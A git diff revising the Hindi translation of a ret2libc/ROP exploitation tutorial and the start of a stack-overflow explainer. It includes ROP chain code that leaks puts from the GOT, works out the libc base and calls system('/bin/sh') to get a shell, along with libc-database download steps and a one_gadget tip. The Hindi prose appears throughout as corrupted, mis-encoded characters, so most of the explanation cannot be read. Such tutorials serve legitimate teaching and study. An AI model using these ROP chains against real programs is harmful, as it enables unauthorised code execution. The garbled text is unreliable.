рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреЛрдб рдХреА рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрдВрдХреНрддрд┐ рд╣реИ: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` рдпрд╣ рдХреБрдЫ рдмрд╛рдЗрдЯреНрд╕ рднреЗрдЬреЗрдЧрд╛ рдЬрдм рддрдХ **RIP** рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░рдирд╛ рд╕рдВрднрд╡ рди рд╣реЛ: `OFFSET`.\ рдлрд┐рд░, рдпрд╣ **рдЧреИрдЬреЗрдЯ** `POP_RDI` рдХрд╛ **рдкрддрд╛** рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ рдЕрдЧрд▓рд╛ рдкрддрд╛ (`FUNC_GOT`) **RDI** рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо **puts** рдХреЛ **рдХреЙрд▓** рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ **рдЙрд╕реЗ** `PUTS_GOT` рдХрд╛ **рдкрддрд╛** рдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдХреНрдпреЛрдВрдХрд┐ рдореЗрдореЛрд░реА рдореЗрдВ puts рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ `PUTS_GOT` рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдХрд┐рдП рдЧрдП рдкрддреЗ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рд╣реИред\ -рдЗрд╕рдХреЗ рдмрд╛рдж, `PUTS_PLT` рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЬрд┐рд╕рдореЗрдВ `PUTS_GOT` **RDI** рдХреЗ рдЕрдВрджрд░ рд╣реИ) рддрд╛рдХрд┐ puts `PUTS_GOT` рдХреЗ рдЕрдВрджрд░ рдХреА рд╕рд╛рдордЧреНрд░реА (**рдореЗрдореЛрд░реА рдореЗрдВ puts рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛**) рдХреЛ **рдкрдврд╝реЗ** рдФрд░ рдЗрд╕реЗ **рдкреНрд░рд┐рдВрдЯ** рдХрд░реЗред\ +рдЗрд╕рдХреЗ рдмрд╛рдж, `PUTS_PLT` рдХреЛ (рдЬрд┐рд╕рдореЗрдВ `PUTS_GOT` **RDI** рдХреЗ рдЕрдВрджрд░ рд╣реИ) рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рддрд╛рдХрд┐ puts `PUTS_GOT` рдХреЗ рдЕрдВрджрд░ рдХреА рд╕рд╛рдордЧреНрд░реА (**рдореЗрдореЛрд░реА рдореЗрдВ puts рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛**) рдХреЛ **рдкрдврд╝реЗ** рдФрд░ рдЗрд╕реЗ **рдкреНрд░рд┐рдВрдЯ** рдХрд░реЗред\ рдЕрдВрдд рдореЗрдВ, **рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рд╣рдо рдлрд┐рд░ рд╕реЗ рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХреЗрдВред рдЗрд╕ рддрд░рд╣ рд╣рдордиреЗ **puts рдлрд╝рдВрдХреНрд╢рди** рдХреЛ **рдкреНрд░рд┐рдВрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛** рджрд┐рдпрд╛ рд╣реИ **рдореЗрдореЛрд░реА** рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди **puts** рдХрд╛ **рдкрддрд╛** (рдЬреЛ **libc** рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рдЕрдВрджрд░ рд╣реИ)ред рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд╣ рдкрддрд╛ рд╣реИ, рд╣рдо **рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕рд╛ libc рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ**ред @@ -138,7 +138,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ### 3.1- libc рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЦреЛрдЬ (1) рдЖрдк рд╡реЗрдм рдкреГрд╖реНрда рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ: [https://libc.blukat.me/](https://libc.blukat.me)\ -рдпрд╣ рдЖрдкрдХреЛ **libc** рдХреЗ рдЦреЛрдЬреЗ рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред +рдпрд╣ рдЖрдкрдХреЛ рдЦреЛрдЬреЗ рдЧрдП **libc** рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред ![](<../../../../images/image (221).png>) @@ -162,7 +162,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -рд╣рдорд╛рд░реЗ рдкрд╛рд╕ 2 рдореЗрд▓ рд╣реИрдВ (рдпрджрд┐ рдкрд╣рд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рджреВрд╕рд░реЗ рдХреЛ рдЖрдЬрдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдП)ред рдкрд╣рд▓рд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: +рд╣рдореЗрдВ 2 рдореЗрд▓ рдорд┐рд▓рддреЗ рд╣реИрдВ (рдпрджрд┐ рдкрд╣рд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рджреВрд╕рд░реЗ рдХреЛ рдЖрдЬрд╝рдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдП)ред рдкрд╣рд▓рд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -171,7 +171,7 @@ Getting libc6_2.23-0ubuntu10_amd64 -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` -`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` рд╕реЗ libc рдХреЛ рд╣рдорд╛рд░реА рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред +`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` рдХреЛ рд╣рдорд╛рд░реА рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред ### 3.3- рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди ```python @@ -181,13 +181,13 @@ __libc_start_main read gets ``` -## 4- рдЖрдзрд╛рд░рд┐рдд libc рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рд╢реЛрд╖рдг рдХрд░рдирд╛ +## 4- libc рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рд╢реЛрд╖рдг рдХрд░рдирд╛ -рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдкрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪреВрдВрдХрд┐ рд╣рдо рдПрдХ рд╕реНрдерд╛рдиреАрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдореИрдВ рдмрд╕ рдЙрдкрдпреЛрдЧ рдХрд░реВрдВрдЧрд╛: `/lib/x86_64-linux-gnu/libc.so.6` +рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪреВрдВрдХрд┐ рд╣рдо рдПрдХ рд╕реНрдерд╛рдиреАрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдореИрдВ рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧ рдХрд░реВрдВрдЧрд╛: `/lib/x86_64-linux-gnu/libc.so.6` рддреЛ, `template.py` рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ **libc** рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдмрджрд▓реЗрдВ: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -**libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА** рдХреЗ рд▓рд┐рдП **рдкрде** рджреЗрдиреЗ рд╕реЗ **рд╢реЛрд╖рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред +**libc рдкреБрд╕реНрддрдХрд╛рд▓рдп** рдХреЗ рд▓рд┐рдП **рдкрде** рджреЗрдиреЗ рд╕реЗ рдмрд╛рдХреА рдХрд╛ **рд╢реЛрд╖рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред `get_addr` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ **libc рдХрд╛ рдЖрдзрд╛рд░ рдкрддрд╛** рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: ```python @@ -207,7 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` -рдЕрдВрдд рдореЗрдВ, /bin/sh рдирд┐рд╖реНрдкрд╛рджрди рд╢реЛрд╖рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: +рдЕрдВрдд рдореЗрдВ, /bin/sh рдирд┐рд╖реНрдкрд╛рджрди рд╢реЛрд╖рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -218,16 +218,16 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` рдЖрдЗрдП рдЗрд╕ рдЕрдВрддрд┐рдо ROP рдХреЛ рд╕рдордЭрд╛рддреЗ рд╣реИрдВред\ -рдЕрдВрддрд┐рдо ROP (`rop1`) рдиреЗ рдлрд┐рд░ рд╕реЗ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛, рдлрд┐рд░ рд╣рдо **рдлрд┐рд░ рд╕реЗ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** **рдУрд╡рд░рдлреНрд▓реЛ** (рдЗрд╕рд▓рд┐рдП `OFFSET` рдпрд╣рд╛рдБ рдлрд┐рд░ рд╕реЗ рд╣реИ)ред рдлрд┐рд░, рд╣рдо `POP_RDI` рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ _"/bin/sh"_ (`BINSH`) рдХреЗ **рдкрддреЗ** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ **system** рдлрд╝рдВрдХреНрд╢рди (`SYSTEM`) рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ _"/bin/sh"_ рдХрд╛ рдкрддрд╛ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред\ -рдЕрдВрдд рдореЗрдВ, **exit рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** **рдХреЙрд▓** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕рдорд╛рдкреНрдд рд╣реЛ** рдЬрд╛рдП рдФрд░ рдХреЛрдИ рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рди рд╣реЛред +рдЕрдВрддрд┐рдо ROP (`rop1`) рдиреЗ рдлрд┐рд░ рд╕реЗ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛, рдлрд┐рд░ рд╣рдо **рдлрд┐рд░ рд╕реЗ рд╢реЛрд╖рдг** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рдУрд╡рд░рдлреНрд▓реЛ** (рдЗрд╕рд▓рд┐рдП `OFFSET` рдпрд╣рд╛рдБ рдлрд┐рд░ рд╕реЗ рд╣реИ)ред рдлрд┐рд░, рд╣рдо `POP_RDI` рдХреЛ _"/bin/sh"_ (`BINSH`) рдХреЗ **рдкрддреЗ** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреЗ рд╣реБрдП рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ **system** рдлрд╝рдВрдХреНрд╢рди (`SYSTEM`) рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ _"/bin/sh"_ рдХрд╛ рдкрддрд╛ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред\ +рдЕрдВрдд рдореЗрдВ, **exit рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** **рдХреЙрд▓** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕рдорд╛рдкреНрдд** рд╣реЛ рдЬрд╛рдП рдФрд░ рдХреЛрдИ рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рди рд╣реЛред -**рдЗрд╕ рддрд░рд╣ рд╢реЛрд╖рдг рдПрдХ \_/bin/sh**\_\*\* рд╢реЗрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред\*\* +**рдЗрд╕ рддрд░рд╣ рд╢реЛрд╖рдг рдПрдХ _/bin/sh_ рд╢реЗрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред** ![](<../../../../images/image (165).png>) ## 4(2)- ONE_GADGET рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ -рдЖрдк [**ONE_GADGET** ](https://github.com/david942j/one_gadget) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **system** рдФрд░ **"/bin/sh"** рдХреЗ рдмрдЬрд╛рдп рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред **ONE_GADGET** libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬреЗрдЧрд╛ рдЬреЛ рдХреЗрд╡рд▓ рдПрдХ **ROP рдкрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред\ +рдЖрдк [**ONE_GADGET** ](https://github.com/david942j/one_gadget) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **system** рдФрд░ **"/bin/sh"** рдХреЗ рдмрдЬрд╛рдп рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ONE_GADGET libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬреЗрдЧрд╛ рдЬреЛ рдХреЗрд╡рд▓ рдПрдХ **ROP рдкрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред\ рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХреБрдЫ рд╕реАрдорд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВ, рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдФрд░ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдЪрдиреЗ рд╡рд╛рд▓реА рд╕реАрдорд╛рдПрдБ рд╣реИрдВ рдЬреИрд╕реЗ `[rsp+0x30] == NULL`ред рдЪреВрдВрдХрд┐ рдЖрдк **RSP** рдХреЗ рдЕрдВрджрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдХреБрдЫ рдФрд░ NULL рдорд╛рди рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕реАрдорд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред ![](<../../../../images/image (754).png>) @@ -263,7 +263,7 @@ MAIN_PLT = 0x401080 ### `sh: 1: %s%s%s%s%s%s%s%s: рдирд╣реАрдВ рдорд┐рд▓рд╛` -рдпрджрд┐ рдЖрдк **рд╕рднреА** рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ **рддреНрд░реБрдЯрд┐** рдкрд╛рддреЗ рд╣реИрдВ: `sh: 1: %s%s%s%s%s%s%s%s: рдирд╣реАрдВ рдорд┐рд▓рд╛` +рдпрджрд┐ рдЖрдк рдЗрд╕ **рддреНрд░реБрдЯрд┐** рдХреЛ рд╕рднреА **рд╢реЛрд╖рдг** рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж рдкрд╛рддреЗ рд╣реИрдВ: `sh: 1: %s%s%s%s%s%s%s%s: рдирд╣реАрдВ рдорд┐рд▓рд╛` рддреЛ **"/bin/sh" рдХреЗ рдкрддреЗ рд╕реЗ 64 рдмрд╛рдЗрдЯ рдШрдЯрд╛рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ: ```python diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index c336a0faa..33e295037 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,15 +4,15 @@ ## What is a Stack Overflow -A **stack overflow** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рд╣реИ рдЬреЛ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдЯреИрдХ рдореЗрдВ рдЙрд╕ рдбреЗрдЯрд╛ рд╕реЗ рдЕрдзрд┐рдХ рд▓рд┐рдЦрддрд╛ рд╣реИ рдЬрд┐рддрдирд╛ рдХрд┐ рдЙрд╕реЗ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ **рд╕рдиреНрдирд┐рдХрдЯ рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░реЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рд╡реИрдз рдбреЗрдЯрд╛ рдХрд╛ рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░, рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдореЗрдВ рд╡рд┐рдШрдЯрди, рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдЕрдХреНрд╕рд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬреЛ рдЗрдирдкреБрдЯ рдкрд░ рд╕реАрдорд╛ рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред +рдПрдХ **рд╕реНрдЯреИрдХ рдУрд╡рд░рдлреНрд▓реЛ** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рд╣реИ рдЬреЛ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдЯреИрдХ рдореЗрдВ рдЙрд╕ рдбреЗрдЯрд╛ рд╕реЗ рдЕрдзрд┐рдХ рдбреЗрдЯрд╛ рд▓рд┐рдЦрддрд╛ рд╣реИ рдЬрд┐рддрдирд╛ рдХрд┐ рдЙрд╕реЗ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ **рд╕рдиреНрдирд┐рд╣рд┐рдд рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░ рджреЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рд╡реИрдз рдбреЗрдЯрд╛ рдХрд╛ рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░, рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдореЗрдВ рд╡рд┐рдШрдЯрди, рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдЕрдХреНрд╕рд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬреЛ рдЗрдирдкреБрдЯ рдкрд░ рд╕реАрдорд╛ рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддреА рд╣реИрдВред -рдЗрд╕ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд╛ рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ **рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рдирд┐рд░реНрджреЗрд╢ рд╕реВрдЪрдХ (EIP/RIP)** рдФрд░ **рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рдмреЗрд╕ рдкреЙрдЗрдВрдЯрд░ (EBP/RBP)** рдЬреЛ рдкрд┐рдЫрд▓реЗ рдХрд╛рд░реНрдп рдореЗрдВ рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВ, **рд╕реНрдЯреИрдХ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд** рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрдиреНрд╣реЗрдВ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХреЗрдЧрд╛ рдФрд░ **рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд** рдХрд░ рд╕рдХреЗрдЧрд╛ред +рдЗрд╕ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХреА рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ **рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рдирд┐рд░реНрджреЗрд╢ рд╕реВрдЪрдХ (EIP/RIP)** рдФрд░ **рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рдмреЗрд╕ рдкреЙрдЗрдВрдЯрд░ (EBP/RBP)** рдЬреЛ рдкрд┐рдЫрд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдкрд░ рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВ, **рд╕реНрдЯреИрдХ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд** рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрдиреНрд╣реЗрдВ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ **рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд** рдХрд░ рд╕рдХреЗрдЧрд╛ред -рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрдореА рдЖрдорддреМрд░ рдкрд░ рдЗрд╕рд▓рд┐рдП рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдХрд╛рд░реНрдп **рд╕реНрдЯреИрдХ рдореЗрдВ рдЖрд╡рдВрдЯрд┐рдд рдорд╛рддреНрд░рд╛ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ**, рдЬрд┐рд╕рд╕реЗ рдЕрдиреНрдп рд╕реНрдЯреИрдХ рдХреЗ 